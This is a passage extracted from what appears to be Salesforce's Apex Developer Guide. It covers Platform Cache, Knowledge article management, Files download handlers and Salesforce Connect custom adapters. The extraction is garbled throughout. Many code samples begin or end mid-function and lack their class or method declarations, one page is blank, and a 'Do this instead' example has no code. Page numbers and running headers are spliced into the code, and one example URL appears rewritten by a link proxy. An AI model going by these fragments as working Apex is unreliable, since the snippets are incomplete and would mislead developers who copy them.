if (Cache.Session.contains('orderDate')) {
DateTime cachedDt = (DateTime)Cache.Session.get('orderDate');
}
The local prefix refers to the namespace of the current org where the code is running, regardless of whether the org has a namespace
defined. If the org has a namespace defined as ns1, the following two statements are equivalent.
Cache.Session.put('local.myPartition.orderDate', dt);
Cache.Session.put('ns1.myPartition.orderDate', dt);
Note: The local prefix in an installed managed package refers to the namespace of the subscriber org and not the package’s
namespace. The cache put calls are not allowed in a partition that the invoking class doesn’t own.
The put() method has multiple versions (or overloads), and each version takes different parameters. For example, to specify that your
cached value can’t be overwritten by another namespace, set the last parameter of this method to true. The following example also
sets the lifetime of the cached value (3600 seconds or 1 hour) and makes the value available to any namespace.
// Add a value to the cache with options
Cache.Session.put('ns1.partition1.totalSum', '500', 3600, Cache.Visibility.ALL, true);
To retrieve a cached value from the session cache, call the Cache.Session.get() method. Because Cache.Session.get()
returns an object, we recommend that you cast the returned value to a specific type.
// Get a cached value
Object obj = Cache.Session.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;
Cache.SessionPartition Methods
If you’re managing cache values in one partition, use the Cache.SessionPartition methods instead. After the partition object
is obtained, the process of adding and retrieving cache values is similar to using the Cache.Session methods. The
Cache.SessionPartition methods are easier to use because you specify only the key name without the namespace and
partition prefix.
First, get the session partition and specify the desired partition. The partition name includes the namespace prefix:
namespace.partition. You can manage the cached values in that partition by adding and retrieving cache values on the obtained
474
Apex Developer Guide Using Salesforce Features with Apex
partition object. The following example obtains the partition named myPartition in the myNs namespace. Next, if the cache contains a
value with the key BookTitle, this cache value is retrieved. A new value is added with key orderDate and today’s date.
// Get partition
Cache.SessionPartition sessionPart = Cache.Session.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (sessionPart.contains('BookTitle')) {
String cachedTitle = (String)sessionPart.get('BookTitle');
}
// Add cache value to the partition
sessionPart.put('OrderDate', Date.today());
This example calls the get method on a partition in one expression without assigning the partition instance to a variable.
// Or use dot notation to call partition methods
String cachedAuthor =
(String)Cache.Session.getPartition('myNs.myPartition').get('BookAuthor');
SEE ALSO:
Apex Reference Guide: Session Class
Apex Reference Guide: SessionPartition Class
Cache.Org Methods
To store a value in the org cache, call the Cache.Org.put() method and supply a key and value. The key name is in the format
namespace.partition.key. For example, for namespace ns1, partition partition1, and key orderDate, the fully qualified key
name is ns1.partition1.orderDate.
This example stores a DateTime cache value with the key orderDate. Next, the snippet checks if the orderDate key is in the
cache, and if so, retrieves the value from the cache.
// Add a value to the cache
DateTime dt = DateTime.parse('06/16/2015 11:46 AM');
Cache.Org.put('ns1.partition1.orderDate', dt);
if (Cache.Org.contains('ns1.partition1.orderDate')) {
DateTime cachedDt = (DateTime)Cache.Org.get('ns1.partition1.orderDate');
}
To refer to the default partition and the namespace of the invoking class, omit the namespace.partition prefix and specify the
key name.
Cache.Org.put('orderDate', dt);
if (Cache.Org.contains('orderDate')) {
DateTime cachedDt = (DateTime)Cache.Org.get('orderDate');
}
475
Apex Developer Guide Using Salesforce Features with Apex
The local prefix refers to the namespace of the current org where the code is running. The local prefix refers to the namespace
of the current org where the code is running, regardless of whether the org has a namespace defined. If the org has a namespace defined
as ns1, the following two statements are equivalent.
Cache.Org.put('local.myPartition.orderDate', dt);
Cache.Org.put('ns1.myPartition.orderDate', dt);
Note: The local prefix in an installed managed package refers to the namespace of the subscriber org and not the package’s
namespace. The cache put calls are not allowed in a partition that the invoking class doesn’t own.
The put() method has multiple versions (or overloads), and each version takes different parameters. For example, to specify that your
cached value can’t be overwritten by another namespace, set the last parameter of this method to true. The following example also
sets the lifetime of the cached value (3600 seconds or 1 hour) and makes the value available to any namespace.
// Add a value to the cache with options
Cache.Org.put('ns1.partition1.totalSum', '500', 3600, Cache.Visibility.ALL, true);
To retrieve a cached value from the org cache, call the Cache.Org.get() method. Because Cache.Org.get() returns an
object, we recommend that you cast the returned value to a specific type.
// Get a cached value
Object obj = Cache.Org.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;
Cache.OrgPartition Methods
If you’re managing cache values in one partition, use the Cache.OrgPartition methods instead. After the partition object is
obtained, the process of adding and retrieving cache values is similar to using the Cache.Org methods. The Cache.OrgPartition
methods are easier to use because you specify only the key name without the namespace and partition prefix.
First, get the org partition and specify the desired partition. The partition name includes the namespace prefix:
namespace.partition. You can manage the cached values in that partition by adding and retrieving cache values on the obtained
partition object. The following example obtains the partition named myPartition in the myNs namespace. If the cache contains a value
with the key BookTitle, this cache value is retrieved. A new value is added with key orderDate and today’s date.
// Get partition
Cache.OrgPartition orgPart = Cache.Org.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (orgPart.contains('BookTitle')) {
String cachedTitle = (String)orgPart.get('BookTitle');
}
// Add cache value to the partition
orgPart.put('OrderDate', Date.today());
This example calls the get method on a partition in one expression without assigning the partition instance to a variable.
// Or use dot notation to call partition methods
String cachedAuthor = (String)Cache.Org.getPartition('myNs.myPartition').get('BookAuthor');
SEE ALSO:
Apex Reference Guide: Org Class
Apex Reference Guide: OrgPartition Class
476
Apex Developer Guide Using Salesforce Features with Apex
This example is similar but uses the $Cache.Org global variable to retrieve a value from the org cache.
<apex:outputText value="{!$Cache.Org.myNamespace.myPartition.key1}"/>
Note: The remaining examples show how to access the session cache using the $Cache.Session global variable. The
equivalent org cache examples are the same except that you use the $Cache.Org global variable instead.
Unlike with Apex methods, you can’t omit the myNamespace.myPartition prefix to reference the default partition in the org.
If a namespace isn’t defined for the org, use local to refer to the org’s namespace.
<apex:outputText value="{!$Cache.Session.local.myPartition.key1}"/>
The cached value is sometimes a data structure that has properties or methods, like an Apex list or a custom class. In this case, you can
access the properties in the $Cache.Session or $Cache.Org expression by using dot notation. For example, this markup
invokes the List.size() Apex method if the value of numbersList is declared as a List.
<apex:outputText value="{!$Cache.Session.local.myPartition.numbersList.size}"/>
This example accesses the value property on the myData cache value that is declared as a custom class.
<apex:outputText value="{!$Cache.Session.local.myPartition.myData.value}"/>
If you’re using CacheBuilder, qualify the key name with the class that implements the CacheBuilder interface and the literal
string _B_, in addition to the namespace and partition name. In this example, the class that implements CacheBuilder is called
CacheBuilderImpl.
<apex:outputText value="{!$Cache.Session.myNamespace.myPartition.CacheBuilderImpl_B_key1}"/>
477
Apex Developer Guide Using Salesforce Features with Apex
In your controller class, create an inner class that implements the CacheBuilder interface and overrides the doLoad(String
var) method. Then add the SOQL code to the doLoad(String var) method with the user ID as its parameter.
To retrieve the User record from the org cache, execute the Org.get(cacheBuilder, key) method, passing it the
UserInfoCache class and the user ID. Similarly, use Session.get(cacheBuilder, key) and
Partition.get(cacheBuilder, key) to retrieve the value from the session or partition cache, respectively.
When you run the get() method, Salesforce searches the cache using a unique key that consists of the strings 00541000000ek4c and
UserInfoCache. If Salesforce finds a cached value, it returns it. For this example, the cached value is a User record associated with the ID
00541000000ek4c. If Salesforce doesn’t find a value, it executes the doLoad(String var) method of UserInfoCache again
(and reruns the SOQL query), caches the User record, and then returns it.
SEE ALSO:
Apex Reference Guide: CacheBuilder Interface
478
Apex Developer Guide Using Salesforce Features with Apex
479
Apex Developer Guide Using Salesforce Features with Apex
Instead, wrap the data in a few reasonably large items without exceeding the limit on the size of single cached items.
// Do this instead.
Another good example of caching larger items is to encapsulate data in an Apex class. For example, you can create a class that wraps
session data, and cache an instance of the class rather than the individual data items. Caching the class instance improves overall
serialization size and performance.
480
Apex Developer Guide Using Salesforce Features with Apex
Note: Generating the diagnostics page gathers all partition-related information and is an expensive operation. Use it sparingly.
• Avoid calling the contains(key) method followed by the get(key) method. If you intend to use the key value, simply call
the get(key) method and make sure that the value is not equal to null.
• Clear the cache only when necessary. Clearing the cache traverses all partition-related cache space, which is expensive. After clearing
the cache, your application will likely regenerate the cache by invoking database queries and computations. This regeneration can
be complex and extensive and impact your application’s performance.
SEE ALSO:
Platform Cache Limits
Apex Reference Guide: CacheBuilder Interface
Salesforce Knowledge
Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly find and
view the articles they need.
Use Apex to access these Salesforce Knowledge features:
Knowledge Management
Users can write, publish, archive, and manage articles using Apex in addition to the Salesforce user interface.
Promoted Search Terms
Promoted search terms are useful for promoting a Salesforce Knowledge article that you know is commonly used to resolve a support
issue when an end user’s search contains certain keywords. Users can promote an article in search results by associating keywords
with the article in Apex (by using the SearchPromotionRule sObject) in addition to the Salesforce user interface.
Suggest Salesforce Knowledge Articles
Provide users with shortcuts to navigate to relevant articles before they perform a search. Call Search.suggest(searchText,
objectType, options) to return a list of Salesforce Knowledge articles whose titles match a user’s search query string.
481
Apex Developer Guide Using Salesforce Features with Apex
Knowledge Management
Users can write, publish, archive, and manage articles using Apex in addition to the Salesforce user interface.
Use the methods in the KbManagement.PublishingService class to manage the following parts of the lifecycle of an article
and its translations:
• Publishing
• Updating
• Retrieving
• Deleting
• Submitting for translation
• Setting a translation to complete or incomplete status
• Archiving
• Assigning review tasks for draft articles or translations
To use the methods in this class, you must enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more
information on setting up Salesforce Knowledge.
SEE ALSO:
Apex Reference Guide: PublishingService Class
Example: This code sample shows how to add a search promotion rule. This sample performs a query to get published articles
of type MyArticle__kav. Next, the sample creates a SearchPromotionRule sObject to promote articles that contain the word
“Salesforce” and assigns the first returned article to it. Finally, the sample inserts this new sObject.
// Identify the article to promote in search results
List<MyArticle__kav> articles = [SELECT Id FROM MyArticle__kav WHERE
PublishStatus='Online' AND Language='en_US' AND Id='Article Id'];
To perform DML operations on the SearchPromotionRule sObject, you must enable Salesforce Knowledge.
482
Apex Developer Guide Using Salesforce Features with Apex
<apex:inputText id="searchText" value="{!searchText}"/>
<apex:commandButton id="suggestButton" value="Suggest"
action="{!doSuggest}"
rerender="block"/>
<apex:commandButton id="suggestMoreButton" value="More
results..." action="{!doSuggestMore}"
rerender="block" style="{!IF(hasMoreResults,
'', 'display: none;')}"/>
</apex:panelGroup>
</apex:outputPanel>
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
<apex:pageBlockSection title="Results" id="results" columns="1"
rendered="{!results.size>0}">
<apex:dataList value="{!results}" var="w" type="1">
Id: {!w.SObject['Id']}
<br />
<apex:panelGroup rendered="{!objectType=='KnowledgeArticleVersion'}">
Title: {!w.SObject['Title']}
</apex:panelGroup>
<apex:panelGroup rendered="{!objectType!='KnowledgeArticleVersion'}">
Name: {!w.SObject['Name']}
483
Apex Developer Guide Using Salesforce Features with Apex
</apex:panelGroup>
<hr />
</apex:dataList>
</apex:pageBlockSection>
<apex:pageBlockSection id="noresults" rendered="{!results.size==0}">
No results
</apex:pageBlockSection>
<apex:pageBlockSection rendered="{!LEN(searchText)>0}">
Search text: {!searchText}
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
484
Apex Developer Guide Using Salesforce Features with Apex
return suggestionResults.getSuggestionResults();
}
if (objectType=='KnowledgeArticleVersion') {
filters.setLanguage(language);
filters.setPublishStatus('Online');
}
options.setFilter(filters);
options.setLimit(nbResult);
suggestionResults = Search.suggest(searchText, objectType, options);
}
}
SEE ALSO:
Search.suggest(searchQuery,sObjectType,suggestions)
Salesforce Files
Use Apex to customize the behavior of Salesforce Files.
485
Apex Developer Guide Using Salesforce Features with Apex
Example:
• Prevent a file from downloading based on the user profile, device being used, or file type and size.
• Apply IRM control to track information, such as the number of times a file has been downloaded.
• Flag suspicious files before download, and redirect them for antivirus scanning.
Flow Execution
When a download is triggered either from the UI, Connect API, or an sObject call retrieving ContentVersion.VersionData,
implementations of the Sfc.ContentDownloadHandlerFactory are looked up. If no implementation is found, download
proceeds. Otherwise, the user is redirected to what has been defined in the ContentDownloadHandler#redirectUrl
property. If several implementations are found, they are cascade handled (ordered by name) and the first one for which the download
isn’t allowed is considered.
Note: If a SOAP API operation triggers a download, it goes through the Apex class that checks whether the download is allowed.
If a download isn’t allowed, a redirection can’t be handled, and an exception containing an error message is returned instead.
486
Apex Developer Guide Using Salesforce Features with Apex
Example: This example demonstrates a system that requires downloads to go through IRM control for some users. For a Modify
All Data (MAD) user who’s allowed to download files, and whose user ID is 005xx:
// Allow customization of the content Download experience
public class ContentDownloadHandlerFactoryImpl implements
Sfc.ContentDownloadHandlerFactory {
if(UserInfo.getUserId() == '005xx') {
contentDownloadHandler.isDownloadAllowed = true;
return contentDownloadHandler;
}
contentDownloadHandler.isDownloadAllowed = false;
contentDownloadHandler.downloadErrorMessage = 'This file needs to be IRM controlled.
You're not allowed to download it';
contentDownloadHandler.redirectUrl ='/apex/IRMControl?Id='+ids.get(0);
return contentDownloadHandler;
}
}
Note: To refer to a MAD user profile, you can use UserInfo.getProfileId() instead of
UserInfo.getUserId().
In this example, IRMControl is a Visualforce page created for displaying a link to download a file from the IRM system. You
need a controller for this page that calls your IRM system. As it’s processing the file, it gives an endpoint to download the file when
it’s controlled. Your IRM system uses the sObject API to get the VersionData of this ContentVersion. Therefore, the IRM
system needs the VersionID and must retrieve the VersionData using the MAD user.
Your IRM system is at http://irmsystem and is expecting the VersionID as a query parameter. The IRM system returns a
JSON response with the download endpoint in a downloadEndpoint value.
public class IRMController {
public IRMController() {
downloadEndpoint = '';
}
//Instantiate a new HTTP request, specify the method (GET) as well as the endpoint
487
Apex Developer Guide Using Salesforce Features with Apex
HttpResponse r = h.send(req);
JSONParser parser = JSON.createParser(r.getBody());
while (parser.nextToken() != null) {
if ((parser.getCurrentToken() == JSONToken.FIELD_NAME) &&
(parser.getText() == 'downloadEndpoint')) {
parser.nextToken();
downloadEndpoint = parser.getText();
break;
}
}
}
Example: The following example creates a class that implements the ContentDownloadHandlerFactory interface
and returns a download handler that prevents downloading a file to a mobile device.
// Allow customization of the content Download experience
public class ContentDownloadHandlerFactoryImpl implements
Sfc.ContentDownloadHandlerFactory {
if(context == Sfc.ContentDownloadContext.MOBILE) {
contentDownloadHandler.isDownloadAllowed = false;
contentDownloadHandler.downloadErrorMessage = 'Downloading a file from a mobile
device isn't allowed.';
return contentDownloadHandler;
}
contentDownloadHandler.isDownloadAllowed = true;
return contentDownloadHandler;
}
Example: You can also prevent downloading a file from a mobile device and require that a file must go through IRM control.
// Allow customization of the content Download experience
public class ContentDownloadHandlerFactoryImpl implements
Sfc.ContentDownloadHandlerFactory {
if(UserInfo.getUserId() == '005xx000001SvogAAC') {
contentDownloadHandler.isDownloadAllowed = true;
return contentDownloadHandler;
488
Apex Developer Guide Using Salesforce Features with Apex
}
if(context == Sfc.ContentDownloadContext.MOBILE) {
contentDownloadHandler.isDownloadAllowed = false;
contentDownloadHandler.downloadErrorMessage = 'Downloading a file from a mobile
device isn't allowed.';
return contentDownloadHandler;
}
contentDownloadHandler.isDownloadAllowed = false;
contentDownloadHandler.downloadErrorMessage = 'This file needs to be IRM controlled.
You're not allowed to download it';
contentDownloadHandler.redirectUrl ='/apex/IRMControl?Id='+id.get(0);
return contentDownloadHandler;
}
}
Salesforce Connect
Apex code can access external object data via any Salesforce Connect adapter. Use the Apex Connector Framework to develop a custom
adapter for Salesforce Connect. The custom adapter can retrieve data from external systems and synthesize data locally. Salesforce
Connect represents that data in Salesforce external objects, enabling users and the Lightning Platform to seamlessly interact with data
that’s stored outside the Salesforce org.
489
Apex Developer Guide Using Salesforce Features with Apex
SEE ALSO:
Salesforce Help: Access External Data With Salesforce Connect
Salesforce Connect Learning Map
• When developers use Apex to manipulate external object records, asynchronous timing and an active background queue minimize
potential save conflicts. A specialized set of Apex methods and keywords handles potential timing issues with write execution. Apex
also lets you retrieve the results of delete and upsert operations. Use the BackgroundOperation object to monitor job progress for
write operations via the API or SOQL.
• Database.insertAsync() methods can’t be executed in the context of a portal user, even when the portal user is a
community member. To add external object records via Apex, use Database.insertImmediate() methods.
Important: When running an iterable batch Apex job against an external data source, the external records are stored in Salesforce
while the job is running. The data is removed from storage when the job completes, whether or not the job was successful. No
external data is stored during batch Apex jobs that use Database.QueryLocator.
• If you use batch Apex with Database.QueryLocator to access external objects via an OData adapter for Salesforce Connect:
– Enable Request Row Counts on the external data source, and each response from the external system must include the total
row count of the result set.
– We recommend enabling Server Driven Pagination on the external data source and having the external system determine page
sizes and batch boundaries for large result sets. Typically, server-driven paging can adjust batch boundaries to accommodate
changing datasets more effectively than client-driven paging.
When Server Driven Pagination is disabled on the external data source, the OData adapter controls the paging behavior
(client-driven). If external object records are added to the external system while a job runs, other records can be processed twice.
If external object records are deleted from the external system while a job runs, other records can be skipped.
– When Server Driven Pagination is enabled on the external data source, the batch size at runtime is the smaller of the following:
• Batch size specified in the scope parameter of Database.executeBatch. Default is 200 records.
• Page size returned by the external system. We recommend that you set up your external system to return page sizes of 200
or fewer records.
SEE ALSO:
Using Batch Apex
Salesforce Help: Client-driven and Server-driven Paging for Salesforce Connect—OData 2.0 and 4.0 Adapters
Salesforce Help: Define an External Data Source for Salesforce Connect—OData 2.0 or 4.0 Adapter
490
Apex Developer Guide Using Salesforce Features with Apex
Note: Writes performed on external objects through the Salesforce user interface or the API are synchronous and work the same
way as for standard and custom objects.
You can perform the following DML operations on external objects, either asynchronously or based on criteria: insert records, update
records, upsert records, or delete records. Use classes in the DataSource namespace to get the unique identifiers for asynchronous
jobs, or to retrieve results lists for upsert, delete, or save operations.
When you initiate an Apex method on an external object, a job is scheduled and placed in the background jobs queue. The
BackgroundOperation object lets you view the job status for write operations via the API or SOQL. Monitor job progress and related
errors in the org, extract statistics, process batch jobs, or see how many errors occur in a specified time period.
For usage information and examples, see Database Namespace and DataSource Namespace.
SEE ALSO:
Salesforce Help: Writable External Objects Considerations for Salesforce Connect—All Adapters
491
Apex Developer Guide Using Salesforce Features with Apex
Example Trigger
trigger OnExternalProductChangeEventForAudit on Products__ChangeEvent (after insert) {
if (Trigger.new.size() != 1) return;
for (Products__ChangeEvent event: Trigger.new) {
Product_Audit__c audit = new Product_Audit__c();
audit.Name = 'ProductChangeOn' + event.ExternalId;
audit.Change_Type__c = event.ChangeEventHeader.getChangeType();
audit.Audit_Price__c = event.Price__c;
audit.Product_Name__c = event.Name__c;
insert(audit);
}
}
Apex Test
@isTest
public class testOnExternalProductChangeEventForAudit {
static testMethod void testExternalProductChangeTrigger() {
// Create Change Event
Products__ChangeEvent event = new Products__ChangeEvent();
// Set Change Event Header Fields
EventBus.ChangeEventHeader header = new EventBus.ChangeEventHeader();
header.changeType='CREATE';
header.entityName='Products__x';
header.changeOrigin='here';
header.transactionKey = 'some';
header.commitUser = 'me';
event.changeEventHeader = header;
event.put('ExternalId', 'ParentExternalId');
event.put('Price__c', 5500);
event.put('Name__c', 'Coat');
// Publish the event to the EventBus
EventBus.publish(event);
Test.getEventBus().deliver();
// Perform assertion that the trigger was run
Product_Audit__c audit = [SELECT name, Audit_Price__c, Product_Name__c FROM
Product_Audit__c WHERE name = : 'ProductChangeOn'+ event.ExternalId LIMIT 1];
System.assertEquals('ProductChangeOn'+ event.ExternalId, audit.Name);
System.assertEquals(5500, audit.Audit_Price__c);
System.assertEquals('Coat', audit.Product_Name__c);
}
}
492
Apex Developer Guide Using Salesforce Features with Apex
The SOQL query must be against an external object, either directly with a FROM clause or via a subquery. These features aren’t allowed
within a stub implementation.
• SOQL
• SOSL
• Callouts
• Future methods
• Queueable Jobs
• Batch Jobs
• DML
• Platform events
This example shows a mock test class for the GithubIssueTest class with joined and basic queries.
/**
* Test class that utilizes the SoqlStubProvider classes.
* Each test sets the appropriate SoqlStubProvider
* and runs validation against the mocked query results.
**/
@isTest
public class GithubIssueTest {
@isTest
static void testGithubIssueQuery() {
QueryIssueUtil queryIssueUtil = new QueryIssueUtil();
SObjectType type = queryIssueUtil.getSObjectTypeForDynamicSoql('GithubIssues__x');
@isTest
static void testIssueToCommentJoinQuery() {
QueryIssueUtil queryIssueUtil = new QueryIssueUtil();
Test.createSoqlStub(GithubIssues__x.SObjectType, new IssueCommentJoinStubProvider());
Test.startTest();
Assert.isTrue(Test.isSoqlStubDefined(GithubIssues__x.SObjectType));
Assert.isTrue(queryIssueUtil.queryIssueToCommentJoinAndCheckForCommentId());
Assert.areEqual(Limits.getQueries(), 1);
Assert.areEqual(Limits.getQueryRows(), 3);
Assert.areEqual(Limits.getAggregateQueries(), 1);
Assert.isTrue(queryIssueUtil.queryIssueToCommentJoinAndVerifyResultSize(1, 2));
493
Apex Developer Guide Using Salesforce Features with Apex
Assert.areEqual(Limits.getQueries(), 2);
Assert.areEqual(Limits.getQueryRows(), 6);
Assert.areEqual(Limits.getAggregateQueries(), 2);
Test.stopTest();
}
}
/**
* SoqlStubProvider class that returns a mocked query result
* for joined queries between the Github Issues object and
* the associated Comments object.
**/
commentMaps.add(comment1);
commentMaps.add(comment2);
issues.add(obj);
return issues;
}
return null;
}
}
/**
* SoqlStubProvider class that returns a mocked query result
* for queries against the Github Issues object.
494
Apex Developer Guide Using Salesforce Features with Apex
**/
/**
* Utility class that runs queries to be mocked
* in the Apex tests.
**/
if(issues.size() == size) {
return true;
}
return false;
}
495
Apex Developer Guide Using Salesforce Features with Apex
Note: The DataSource.Connection class requires a Salesforce Connect add-on license. For more information, see
Salesforce Connect Adapters Included per Add-On License.
Let’s step through the code of a sample custom adapter.
496
Apex Developer Guide Using Salesforce Features with Apex
sync
The sync() method is invoked when an administrator clicks the Validate and Sync button on the external data source detail page.
It returns information that describes the structural metadata on the external system.
Note: Changing the sync method on the DataSource.Connection class doesn’t automatically resync any external
objects.
// ...
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('Name', 255));
columns.add(DataSource.Column.text('ExternalId', 255));
columns.add(DataSource.Column.url('DisplayUrl'));
tables.add(DataSource.Table.get('Sample', 'Title',
columns));
return tables;
}
// ...
query
The query method is invoked when a SOQL query is executed on an external object. A SOQL query is automatically generated and
executed when a user opens an external object’s list view or detail page in Salesforce. The DataSource.QueryContext is always
only for a single table.
497
Apex Developer Guide Using Salesforce Features with Apex
This sample custom adapter uses a helper method in the DataSource.QueryUtils class to filter and sort the results based on
the WHERE and ORDER BY clauses in the SOQL query.
The DataSource.QueryUtils class and its helper methods can process query results locally within your Salesforce org. This class
is provided for your convenience to simplify the development of your Salesforce Connect custom adapter for initial tests. However, the
DataSource.QueryUtils class and its methods aren’t supported for use in production environments that use callouts to retrieve
data from external systems. Complete the filtering and sorting on the external system before sending the query results to Salesforce.
When possible, use server-driven paging or another technique to have the external system determine the appropriate data subsets
according to the limit and offset clauses in the query.
// ...
override global DataSource.TableResult query(
DataSource.QueryContext context) {
if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
DataSource.QueryAggregation.COUNT) {
List<Map<String,Object>> rows = getRows(context);
List<Map<String,Object>> response =
DataSource.QueryUtils.filter(context, getRows(context));
List<Map<String, Object>> countResponse =
new List<Map<String, Object>>();
Map<String, Object> countRow =
new Map<String, Object>();
countRow.put(
context.tableSelection.columnsSelected.get(0).columnName,
response.size());
countResponse.add(countRow);
return DataSource.TableResult.get(context,
countResponse);
} else {
List<Map<String,Object>> filteredRows =
DataSource.QueryUtils.filter(context, getRows(context));
List<Map<String,Object>> sortedRows =
DataSource.QueryUtils.sort(context, filteredRows);
List<Map<String,Object>> limitedRows =
DataSource.QueryUtils.applyLimitAndOffset(context,
sortedRows);
return DataSource.TableResult.get(context, limitedRows);
}
}
// ...
search
The search method is invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also
searches external objects. Because search can be federated over multiple objects, the DataSource.SearchContext can have
multiple tables selected. In this example, however, the custom adapter knows about only one table.
// ...
override global List<DataSource.TableResult> search(
DataSource.SearchContext context) {
List<DataSource.TableResult> results =
new List<DataSource.TableResult>();
for (DataSource.TableSelection tableSelection :
498
Apex Developer Guide Using Salesforce Features with Apex
context.tableSelections) {
results.add(DataSource.TableResult.get(tableSelection,
getRows(context)));
}
return results;
}
// ...
The following is the getRows helper method that the search sample calls to get row values from the external system. The getRows
method makes use of other helper methods:
• makeGetCallout makes a callout to the external system.
• foundRow populates a row based on values from the callout result. The foundRow method is used to make any modifications
to the returned field values, such as changing a field name or modifying a field value.
These methods aren’t included in this snippet but are available in the full example included in Connection Class. Typically, the filter from
SearchContext or QueryContext would be used to reduce the result set, but for simplicity this example doesn’t make use of
the context object.
// ...
// Helper method to get record values from the external system for the Sample table.
private List<Map<String, Object>> getRows () {
// Get row field values for the Sample table from the external system via a callout.
upsertRows
The upsertRows method is invoked when external object records are created or updated. You can create or update external object
records through the Salesforce user interface or DML. The following example provides a sample implementation for the upsertRows
method. The example uses the passed-in UpsertContext to determine what table was selected and performs the upsert only if
the name of the selected table is Sample. The upsert operation is broken up into either an insert of a new record or an update of an
existing record. These operations are performed in the external system using callouts. An array of DataSource.UpsertResult
499
Apex Developer Guide Using Salesforce Features with Apex
is populated from the results obtained from the callout responses. Note that because a callout is made for each row, this example might
hit the Apex callouts limit.
// ...
global override List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext
context) {
if (context.tableSelected == 'Sample') {
List<DataSource.UpsertResult> results = new List<DataSource.UpsertResult>();
List<Map<String, Object>> rows = context.rows;
500
Apex Developer Guide Using Salesforce Features with Apex
deleteRows
The deleteRows method is invoked when external object records are deleted. You can delete external object records through the
Salesforce user interface or DML. The following example provides a sample implementation for the deleteRows method. The example
uses the passed-in DeleteContext to determine what table was selected and performs the deletion only if the name of the selected
table is Sample. The deletion is performed in the external system using callouts for each external ID. An array of
DataSource.DeleteResult is populated from the results obtained from the callout responses. Note that because a callout is
made for each ID, this example might hit the Apex callouts limit.
// ...
global override List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext
context) {
if (context.tableSelected == 'Sample'){
List<DataSource.DeleteResult> results = new List<DataSource.DeleteResult>();
for (String externalId : context.externalIds){
HttpResponse response = makeDeleteCallout(externalId);
if (response.getStatusCode() == 200){
results.add(DataSource.DeleteResult.success(externalId));
}
else {
results.add(DataSource.DeleteResult.failure(externalId,
'Callout delete error:'
+ response.getBody()));
}
}
return results;
}
return null;
}
// ...
SEE ALSO:
Execution Governors and Limits
Apex Reference Guide: Connection Class
Filters in the Apex Connector Framework
If the external system requires authentication, Salesforce can provide the authentication credentials from the external data source
definition or users’ personal settings. For simplicity, however, this example declares that the external system doesn’t require authentication.
To do so, it returns AuthenticationCapability.ANONYMOUS as the sole entry in the list of authentication capabilities.
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
501
Apex Developer Guide Using Salesforce Features with Apex
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
return capabilities;
}
This example also declares that the external system allows SOQL queries, SOSL queries, Salesforce searches, upserting data, and deleting
data.
• To allow SOQL, the example declares the DataSource.Capability.ROW_QUERY capability.
• To allow SOSL and Salesforce searches, the example declares the DataSource.Capability.SEARCH capability.
• To allow upserting external data, the example declares the DataSource.Capability.ROW_CREATE and
DataSource.Capability.ROW_UPDATE capabilities.
• To allow deleting external data, the example declares the DataSource.Capability.ROW_DELETE capability.
override global List<DataSource.Capability> getCapabilities()
{
List<DataSource.Capability> capabilities = new
List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
capabilities.add(DataSource.Capability.ROW_CREATE);
capabilities.add(DataSource.Capability.ROW_UPDATE);
capabilities.add(DataSource.Capability.ROW_DELETE);
return capabilities;
}
Lastly, the example identifies the SampleDataSourceConnection class that obtains the external system’s schema and handles
the queries and searches of the external data.
override global DataSource.Connection getConnection(
DataSource.ConnectionParams connectionParams) {
return new SampleDataSourceConnection(connectionParams);
}
}
SEE ALSO:
Apex Reference Guide: Provider Class
502
Apex Developer Guide Using Salesforce Features with Apex
Important:
• The custom adapter’s Apex code must declare the DataSource.Column named ExternalId and provide its values.
• Don’t use sensitive data as the values of the External ID standard field or fields designated as name fields, because Salesforce
sometimes stores those values.
503
Apex Developer Guide Using Salesforce Features with Apex
– External lookup relationship fields on child records store and display the External ID values of the parent records.
– For internal use only, Salesforce stores the External ID value of each row that’s retrieved from the external system. This
behavior doesn’t apply to external objects that are associated with high-data-volume external data sources.
Example: This excerpt from a sample DataSource.Connection class shows the DataSource.Column named
ExternalId.
SEE ALSO:
Apex Reference Guide: Column Class
504
Apex Developer Guide Using Salesforce Features with Apex
SEE ALSO:
OAuth for Salesforce Connect Custom Adapters
SEE ALSO:
Authentication for Salesforce Connect Custom Adapters
505
Apex Developer Guide Using Salesforce Features with Apex
If your connection requires basic password authentication, use code similar to the following.
public HttpResponse getResponse(String url) {
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
string encodedHeaderValue = EncodingUtil.base64Encode(Blob.valueOf(
this.connectioninfo.username + ':' +
this.connectionInfo.password));
request.setHeader('Authorization', 'Basic ' + encodedHeaderValue);
HttpResponse response = httpProtocol.send(request);
return response;
}
SEE ALSO:
Named Credentials as Callout Endpoints
SEE ALSO:
Apex Reference Guide: QueryContext Class
506
Apex Developer Guide Using Salesforce Features with Apex
507
Apex Developer Guide Using Salesforce Features with Apex
When your custom adapter returns the final batch, it must not return a queryMoreToken value in the TableResult.
SEE ALSO:
queryMore with the Apex Connector Framework
SEE ALSO:
queryMore with the Apex Connector Framework
508
Apex Developer Guide Using Salesforce Features with Apex
An aggregate query can still have filters, so your query method can be implemented like the following example to support basic
aggregation queries, with or without filters.
SEE ALSO:
Apex Reference Guide: QueryContext Class
Create a Sample DataSource.Connection Class
This SOQL query causes the query method on your DataSource.Connection class to be invoked. The following code can
